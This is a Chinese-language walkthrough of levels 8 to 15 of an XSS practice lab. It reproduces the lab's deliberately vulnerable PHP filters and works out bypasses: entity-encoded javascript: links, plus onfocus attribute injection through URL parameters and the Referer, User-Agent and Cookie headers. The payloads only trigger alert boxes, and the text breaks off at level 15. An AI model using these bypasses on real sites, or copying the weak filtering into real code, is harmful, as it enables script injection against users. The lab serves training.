level8

输入script '">< on On看看他过滤什么东西
发现"><被实体化了On变成小写的了

发现我们输入的也被写到了
script变成scr_ipt"转换成&quoton变成o_nOn变成o_n

我们输入javascript:alert(1);来点击链接进行弹窗

发现javascript:alert(1);被转换成javascr_ipt:alert(1);

我们可以进行编码啊,js代码又不管你什么编码都一样的效果

1
javascript:alert('a')

上面HTML编码后变成

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;

我们就输入

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;

我们输入点击

level9

输入script '">< on On看看他过滤什么东西

可以看见下面说你的链接不合法,什么是不合法没有办法我就看了一下他的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
echo $str7;
?>
</body>
</html>

可以看见源码上写参数必须有http://
上面过滤script,on,src,data,href,"

我们输入

1
http://&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;

发现他没有弹窗

看一下源码

看看我们能不能叫前面的http:///**/注释掉
变成

1
<a href="/*http://*/&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;">友情链接</a>

我们输入

1
/*http://*/&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;

发现/*http://*/在前面没有注释掉啊

我就想放到后面不就好了吗用//来闭合

1
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;//http://">友情链接</a>

我们输入

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x61;&#x27;&#x29;//http://

level10

他的输入点在url上

我们输入<script>alert('a')</script>

看一下网页源码

他重要都已经过滤了没有思路了
我只能看一下源码了代码审计一下
下面可以看见有一个t_sort GET请求,他还过滤><转换成空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


我们URL输入http://127.0.0.1/xss/level10.php?t_sort=aaa
他也没有显示啊
看一下网页源代码
可以看见有
hidden属性就是隐藏的意思,用hidden叫代码进行了隐藏

隐藏但是代码还是执行了啊

1
<input name="t_sort"  value="我们输入到内容" type="hidden">

我们可以用"进行闭合然后在添加事件触发弹窗
应为事件都是达到条件才会触发我们,但是应为他的是隐藏的
type="hidden"在最后面我们就可以注释掉啊,在添加一个type="text"输入框
下面

1
<input name="t_sort"  value="1"onfocus='alert(1)' type="text" //" type="hidden">

我们输入1"onfocus='alert(1)' type="text" //

level11

他的输入到地方也是在URL里面

我还是输入script '">< on On看看他过滤什么
看一下网页源码和level10差不多

我叫下面提交的参数


t_sort这个参数有返回

我们输入level10的提交的1"onfocus='alert(1)' type="text" //看看他过滤什么
发现"被实体化了

我输入><
也是被实体化了

没有思路了

看一下代码审计一下
可以看见下面的代码有一个$_SERVER['HTTP_REFERER']
$_SERVER 是 PHP 预定义变量之一,可以直接使用,它是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组。
$_SERVER['HTTP_REFERER']里面的HTTP_REFERER是链接到当前页面的前一页面的 URL 地址,

$str33变量只过滤了<>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

$_SERVER['HTTP_REFERER']level10访问到level11就会触发


进入level11后我们查看一下网页源代码
下面就有返回了

点击确定他会请求

我就用burp修改里面的请求

可以看见http请求有一个Referer字段,$_SERVER['HTTP_REFERER']就会取Referer字段的内容

我在这个地方输入AAA他的表单就有显示出来

1
<input name="t_ref"  value="他会显示在这个地方" type="hidden">

进行分析改成这样

1
<input name="t_ref"  value="1"onfocus='alert(1)' type="text" //" type="hidden">

我们在Referer字段改成1"onfocus='alert(1)' type="text" //
请求出来可以看见返回的

我们在浏览器打开

level12

我直接查看他的网页源代码
发现他就是User-Agent字段啊

burp抓包看看

我直接叫User-Agent字段啊数据改成level11的那样
进行分析改成这样

1
<input name="t_ref"  value="1"onfocus='alert(1)' type="text" //" type="hidden">

我们在User-Agent字段字段改成1"onfocus='alert(1)' type="text" //


burp的回话在浏览器打开

level13

我还是直接查看网页源代码

发现这次在Cookie字段里面

level11level12的方法进行修改Cookie字段内容

进行分析改成这样

1
<input name="t_ref"  value="1"onfocus='alert(1)' type="text" //" type="hidden">

我们在Cookie字段字段字段改成1"onfocus='alert(1)' type="text" //

还是在浏览器打开burp原话

">

level14

不知道没有思路,
真的是没有办法我就百度了xss-level14应为这个是要引用其他的web页面,那个页面已经没有了

level15


我看一下页面源码
我一看见就懵了

发现了有一个可疑的ng-include:是引用

但是还是没有思路
看一下源码用了htmlspecialchars()函数进行